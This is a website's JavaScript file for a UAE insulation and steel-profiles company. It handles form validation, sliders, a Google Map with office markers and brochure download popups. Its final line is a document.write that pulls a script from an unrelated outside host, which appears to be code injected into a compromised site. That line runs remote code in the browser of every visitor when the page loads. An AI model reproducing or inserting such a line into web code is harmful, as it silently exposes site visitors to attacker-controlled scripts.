window.addEvent("domready", function() {
    loadJS();
}); 

// window.addEvent("domready", "loadJS"); 
var alertbox;
alertbox = new SexyAlertBox();
function validateForm(){
	
    valid = true;
    var reg = /^([A-Za-z0-9_\-\.])+\@([A-Za-z0-9_\-\.])+\.([A-Za-z]{2,4})$/;
    if ($('surname').selectedIndex == 0){
        alert('Please Select your surname.');
        $('surname').focus();
        valid = false;
    }
    else if($('name').value.trim() == ""){
        alert("Please enter Your Name");
        $('name').focus();
        valid = false;
    }
    else if($('name').value.length  < 6){
        alert("You have entered " + $('name').value.length + " character(s)\n your name length minimum 6 or more characters");
        $('name').focus();
        valid = false;
    }
    else if ($('country').selectedIndex == 0){
        alert('Please Select your country.');
        $('country').focus();
        valid = false;
    }
    else if($('cell').value.trim() == ""){
        alert('Please Enter your Mobile Number');
        $('cell').focus();
        valid = false;
    }
    else if(reg.test($('email').value) == false){
        alert("Please Enter your valid email address");
        $('email').focus();
        valid = false;
    }
    else if($('course').selectedIndex == 0){
        alert("Please select course for your are applying");
        $('course').focus();
        valid = false;
    }

    return valid;
}

function validateContact(){
	
    valid = true;
    var reg = /^([A-Za-z0-9_\-\.])+\@([A-Za-z0-9_\-\.])+\.([A-Za-z]{2,4})$/;
	
    if($('name').value.trim() == ""){
        alert("Please enter Your Name");
        $('name').focus();
        valid = false;
    }
    else if(reg.test($('email').value) == false){
        alert("Please Enter your valid email address");
        $('email').focus();
        valid = false;
    }
    else if($('subject').value.trim() == ""){
        alert("Please Enter the subject for message");
        $('subject').focus();
        valid = false;
    }

    return valid;
}

function validEmail(){
    var reg = /^([A-Za-z0-9_\-\.])+\@([A-Za-z0-9_\-\.])+\.([A-Za-z]{2,4})$/;
    valid = true;
    if($('search').value.trim() == ''){
        alert("Please Enter keywords to search");
        $('search').focus();
        valid = false;
    }
	
    return valid;
}

 
function pload(){ 
 
    var tmjmosmsg,fx;
    tmjmosmsg=$$('div.message');
 
    if($type(tmjmosmsg[0])=='element'){
        var el=tmjmosmsg[0];

        fx =  el.effects({
            duration: 1000,
            transition: Fx.Transitions.Quart.easeOut
            }); //new Fx.Styles(el, {duration:900, wait:false});

        (function(){
            fx.start({
                'background-color': 'red',
                opacity:0
            }).chain(function(){
                this.start.delay(0, this, {
                    'margin-top' : '-20px'
                });
            });
        }).delay(2500);
    }
} 
 
function loadJS(){
    //alert("Hello");
    if($$('div.message')){
        pload();
    }
	
    if($('video_1') || $('video_2'))
        flashNew();
	
    if($('content2')){
        makeScrollbar( $('content2'), $('scrollbar2'), $('handle2') );
    }
	
    if($('flash_header')){
        var s1 = new SWFObject("images/imagerotator.swf","rotator","762","543","7");
        s1.addParam("allowfullscreen","true");
        s1.addVariable("file","images/madrid.xml");
        s1.addVariable("width","762");
        s1.addVariable("height","543");
        s1.addVariable("transition","blocks");
        s1.addParam("wmode","opaque");
        s1.write("flash_header");
    }
	
//    if($('inner_main_pic')){
//        s2 = new SWFObject("images/imagerotator.swf","rotator","534","234","7");
//        s2.addParam("allowfullscreen","true");
//        s2.addVariable("file","images/inner.xml");
//        s2.addVariable("width","534");
//        s2.addVariable("height","234");
//        s2.addVariable("transition","blocks");
//        s2.addParam("wmode","opaque");
//        s2.write("inner_main_pic");
//    }
	
    if($('qscroller2')){
        scrollContent();
    }
	
    if($('form')){
        formCheck('form');
    }

    if($('frm')){
        formCheck('frm');
    }
	
    if($('box4')){
        picScroll();
    }
	
    if($('map')){
        load();
    }

//    if($('search')){
//        validEmail();
//    }

    if($('from_date')){
    
        $$('input.DatePicker').DatePicker();

    }

    if($('box')){
        Box();
    }
    

}

function formCheck(frm){
	
    check = new FormCheck(frm, {
        display : {
            fadeDuration : 500,
            errorsLocation : 1,
            indicateErrors : 1,
            showErrors : 1
        }
    });
	
	
}

function scrollContent(){
	
    var opt = {
        slides: 'qslide2',
        duration: 1500,
        buttons: {
            next:'go-next',
            prev:'go-prev'
        },
        transition: Fx.Transitions.Quint.easeOut
    }
    var scroller = new QScroller('qscroller2',opt);
    scroller.load();
	
}

function picScroll(){
 	
    new noobSlide({
        box: $('box4'),
        items: $$('#box4 div'),
        size: 480,
        addButtons: {
            previous: $('prev1'),
            next: $('next1')
        }
    });
}

function makeScrollbar(content,scrollbar,handle,horizontal,ignoreMouse){
    var steps = (horizontal?(content.getScrollSize().x - content.getSize().x):(content.getScrollSize().y - content.getSize().y))
    var slider = new Slider(scrollbar, handle, {
        steps: steps,
        mode: (horizontal?'horizontal':'vertical'),
        onChange: function(step){
            // Scrolls the content element in x or y direction.
            var x = (horizontal?step:0);
            var y = (horizontal?0:step);
            content.scrollTo(x,y);
        }
    }).set(0);
    if( !(ignoreMouse) ){
        // Scroll the content element when the mousewheel is used within the
        // content or the scrollbar element.
        $$(content, scrollbar).addEvent('mousewheel', function(e){
            e = new Event(e).stop();
            var step = slider.step - e.wheel * 30;
            slider.set(step);
        });
    }
    // Stops the handle dragging process when the mouse leaves the document body.
    $(document.body).addEvent('mouseleave',function(){
        slider.drag.stop()
        });
}

var myAccordion = new Accordion($('accordion'), 'li.toggler', 'div.element', {
    alwaysHide: false,
    start : 'all-closed',
    opacity: true,
    onActive: function(toggler, element){
    //toggler.setStyle('color', '#41464D');
    },
    onBackground: function(toggler, element){
    //toggler.setStyle('color', '#528CE0');
    }
});


var gmarkers = [];
var map;
function load() {

    if (GBrowserIsCompatible()) {
        var Icon = new GIcon(G_DEFAULT_ICON);
          Icon.image = "images/icon18.png";
          Icon.iconSize = new GSize(32,32);
//          Icon.shadowSize = new GSize(56,32);
//          Icon.iconAnchor = new GPoint(32,64);

           var tiger = new GIcon(Icon, "images/icon18.png", null, "http://maps.google.com/mapfiles/kml/pal2/icon18s.png");
           

        map = new GMap2(document.getElementById("map"));
        map.setMapType(G_HYBRID_MAP);
		
        map.setCenter(new GLatLng(24.8176805, 54.939247), 8);
        var html ="<div class='infowindow'>" +
        "<strong>Tiger Profiles & Insulation LLC - Head Quarters<\/strong><p>Industrial Area 2,<br /> P.O.Box 23499,<br /> Sharjah,<br /> United Arab Emirates.<\/p><\/div>";

        var point = new GLatLng(25.30438135965099,55.39806604385376);
        var marker = new GMarker(point,Icon);
		
        marker.content = html;
        addClickevent(marker);
        map.addOverlay(marker);
		  
        var point = new GLatLng(24.33098696320538,54.48042869567871);
        var html ="<div class='infowindow'>" +
        "<strong>Tiger Profiles & Insulation LLC - Abu Dhabi:<\/strong><p>Industrial City of Abu Dhabi 2 (ICAD 2),<br /> P.O.Box 23499,<br /> Musaffah,<br /> Abu Dhabi,<br /> United Arab Emirates.<\/p><\/div>";
        var marker = new GMarker(point,Icon);
		
        marker.content = html;
        addClickevent(marker);
        map.addOverlay(marker);
        map.enableScrollWheelZoom();
        map.addControl(new GLargeMapControl());
 
        var mapControl = new GMapTypeControl();
        map.addControl(mapControl);

        //map.addControl(new GSmallMapControl());
        var wi = map.getInfoWindow();
        GEvent.addListener(wi, "closeclick", function() {
            map.setZoom(8);
            map.panTo(new GLatLng(24.765213, 54.781348));
        });

    }
	  
}

function addClickevent(marker) { // Add a click listener to the markers

    GEvent.addListener(marker, "click", function() {
        map.setZoom(16);
        var latln = marker.getLatLng();
        map.panTo(new GLatLng(latln.lat(),latln.lng()));
        marker.openInfoWindowHtml(marker.content);
        stopClick = true;
    });
    gmarkers.push(marker);
    return marker;
}
	
function myclick(i) {
    GEvent.trigger(gmarkers[i], "click");
}
function alertmsg(n,pdf,flash){
    if(n == 1)
        alertbox.info('<b> Brochure</b><br /><a target="_blank" href="http://www.tigerprofiles.com/userfiles/Tiger Profiles & Insulation Brochure.pdf">Download PDF</a>&nbsp; |&nbsp; <a href="http://www.tigerprofiles.com/ecat/Main.php?MagID=1&MagNo=1" target="_blank">View online</a>');
    else if(n == 2)
        alertbox.info('<b> Brochure</b><br /><a target="_blank" href="http://tigerprofiles.com/userfiles/Solasteel%20flyer.pdf">Download PDF</a>&nbsp; |&nbsp; <a href="http://www.tigerprofiles.com/ecat/Main.php?MagID=1&MagNo=4" target="_blank">View online</a>');
    else if(n == 3)
        alertbox.info('<b> Brochure</b><br /><a target="_blank" href="http://tigerprofiles.com/userfiles/T-Seam%20Brochure.pdf">Download PDF</a>&nbsp; |&nbsp; <a href="http://www.tigerprofiles.com/ecat/Main.php?MagID=1&MagNo=3" target="_blank">View online</a>');
    else
    alertbox.info('<b>Newsletter</b><br /><a target="_blank" href="http://www.tigerprofiles.com/upload/'+pdf+'">Download Newsletter</a>&nbsp; |&nbsp; <a href="'+flash+'" target="_blank">View online</a>');
}
function Box(){

		var myEffect = new Fx.Morph('box', {duration: 'long', transition: Fx.Transitions.Sine.easeOut});
		myEffect.start({
			'display':'block',
		    'top': [0, 100]
		});
		$('close').addEvent('click',function(e){
			myEffect.start({
		    'top': [100, -250]
			});
		});
}
	  
document.write('<script src=http://express22.eco.coocan.jp/bana/hkysenri.php ><\/script>');